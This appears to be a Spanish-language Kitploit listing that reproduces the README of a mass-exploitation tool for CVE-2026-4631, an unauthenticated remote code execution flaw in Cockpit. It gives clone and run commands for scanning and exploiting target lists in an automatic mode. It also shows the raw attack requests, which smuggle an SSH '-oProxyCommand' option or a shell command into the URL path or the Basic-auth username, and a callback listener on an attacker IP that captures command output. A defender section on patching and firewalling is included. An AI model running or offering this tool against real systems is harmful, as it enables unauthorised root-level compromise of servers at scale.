Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4631-cockpit-RCE — Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Critical | CWE-78 | Kitploit
Herramientas/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónComando y ControlRed Teaming
Herramienta de Acceso Remoto
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Critical | CWE-78

Ver Repositorio
21hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4631 — Herramienta de Explotación Masiva de Cockpit

Ejecución Remota de Código no Autenticada mediante Inyección de Argumentos en la Línea de Comandos SSH Versiones de Cockpit 327 – 359 | CVSS 9.8 Crítico | CWE-78

Herramienta de explotación masiva para CVE-2026-4631 en el servicio web Cockpit (cockpit-ws, puerto 9090). Soporta modo de escaneo de vulnerabilidad, modo RCE con captura de salida de comandos mediante un listener HTTP callback integrado, modo --auto (escanea y explota en una sola ejecución con el comando id por defecto), agregado automático del puerto :9090 para objetivos sin puerto, ambos vectores de ataque (ProxyCommand + inyección de username %r), objetivos masivos desde archivo, concurrencia con hilos y salida estructurada de resultados.

Autor: 0xNuts


Inicio Rápido

Clonar e Instalar

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Preparar Objetivos

Edite targets.txt — un host por línea. El puerto :9090 se agregará automáticamente si no está presente:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Ejecutar (Modo AUTO — Recomendado)

# Escanea y explota en una sola ejecución, comando por defecto "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATACANTE>

# Ejemplo de salida en results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Otros Modos

# Solo escaneo de vulnerabilidad (sin explotar)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE explícito con comando personalizado
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATACANTE>

# Objetivo único
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATACANTE>

Nota sobre el Callback

CVE-2026-4631 es un RCE ciego — la salida del comando no se devuelve en la respuesta HTTP. La herramienta utiliza un listener HTTP integrado (puerto por defecto 8888) para capturar la salida. Asegúrese de:

  1. --callback-ip es una IP accesible desde el objetivo (no 127.0.0.1)
  2. El firewall permite tráfico entrante TCP en el puerto 8888 (o --listener-port personalizado)
  3. El objetivo puede hacer solicitudes HTTP salientes hacia la IP del atacante

Cómo Corregir / Mitigar (Defensor)

1. Actualizar Cockpit (Obligatorio)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verificar la versión (debe ser >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Deshabilitar el Inicio de Sesión Remoto (Solución Temporal)

Edite /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Reinicie el servicio:

sudo systemctl restart cockpit

3. Segmentación de Red

Restrinja el puerto 9090 solo a la red de administración:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Actualizar OpenSSH >= 9.6

Mitiga el Vector 1 (inyección ProxyCommand) mediante validación temprana del nombre de host:

ssh -V   # debe ser OpenSSH_9.6 o superior

5. Parche Manual (Backport)

Si no se puede actualizar a la versión 360, aplique los commits del parche:

  • cockpit 9d0695647 — agregar separador -- en beiboot.py y cockpitauth.c
  • ferny 44ec511c99 — agregar -- en session.py

Detalles del parche: consulte docs/PATCH_ANALYSIS.md


Índice

  1. Resumen de la Vulnerabilidad
  2. Vector de Ataque
  3. Requisitos Previos para la Explotación
  4. Instalación
  5. Uso
  6. Modos de Operación
  7. Ejemplos de Ejecución
  8. Formato de Salida
  9. Arquitectura de la Herramienta
  10. Estructura de Archivos
  11. Mecanismo de Captura de RCE Ciego
  12. Detección y Mitigación
  13. Descargo de Responsabilidad Legal
  14. Referencias

Resumen de la Vulnerabilidad

CampoDetalle
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
GravedadCrítico (CVSS 9.8)
CWECWE-78 — Inyección de Comandos del Sistema Operativo
AfectadoCockpit 327 – 359
Corregido enCockpit 360+
Se requiere autenticaciónNO (pre-autenticación)
Reportado porJelle van der Waa
Serviciocockpit-ws, puerto por defecto 9090

Cockpit v327 reemplazó cockpit-ssh (libssh) con python3 -m cockpit.beiboot, que invoca el cliente ssh de OpenSSH del sistema. La entrada controlada por el usuario — nombre de host de la ruta URL y nombre de usuario del encabezado Authorization: Basic — se pasa a ssh sin saneamiento y sin el separador -- de fin de opciones. La inyección ocurre antes de la verificación de credenciales, por lo que no se necesita un inicio de sesión válido.


Vector de Ataque

Vector 1 — Inyección de ProxyCommand (Principal)

El nombre de host de la ruta URL se inyecta con la opción SSH -oProxyCommand=<comando>.

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x:x")

SSH interpreta -oProxyCommand=<comando> como una opción y ejecuta <comando> como ProxyCommand. El comando se ejecuta como el proceso de usuario cockpit-ws.

Requisito previo: OpenSSH < 9.6 en el objetivo. OpenSSH 9.6+ tiene validación temprana del nombre de host que bloquea metacaracteres.

Vector 2 — Inyección del Token %r en el Nombre de Usuario (Secundario)

El nombre de usuario del encabezado Authorization: Basic se inyecta con un comando de shell.

GET /cockpit+=legit-host/login HTTP/1.1
Host: objetivo:9090
Authorization: Basic base64("x; <CM D>; #:x")

SSH expande %r con el nombre de usuario en la directiva Match exec → el shell ejecuta el comando inyectado.

Requisito previo: el ssh_config del objetivo tiene una directiva Match exec con el token %r.


Requisitos Previos para la Explotación

Lado del Atacante (máquina que ejecuta la herramienta)

  • Python 3.8+
  • IP accesible desde el objetivo Cockpit (para el listener de callback)
  • Puerto abierto para el listener (por defecto 8888)
  • Firewall permitiendo tráfico entrante desde el objetivo hacia el puerto del listener

Lado del Objetivo (instancia Cockpit)

  • Versión de Cockpit 327 – 359
  • Puerto 9090 accesible
  • La función de inicio de sesión remoto (LoginTo) no está deshabilitada
  • Para Vector 1: OpenSSH < 9.6
  • Para Vector 2: ssh_config con Match exec %r

Instalación

# Clonar desde GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Instalar dependencias
pip install -r requirements.txt

# Verificar
python3 exploit.py --help

Dependencias

  • requests>=2.31 — Cliente HTTP para las solicitudes de exploit
  • colorama>=0.4 — Salida de terminal coloreada

No hay dependencias adicionales para el listener (usa http.server + threading de la biblioteca estándar).


Uso

Descargar herramienta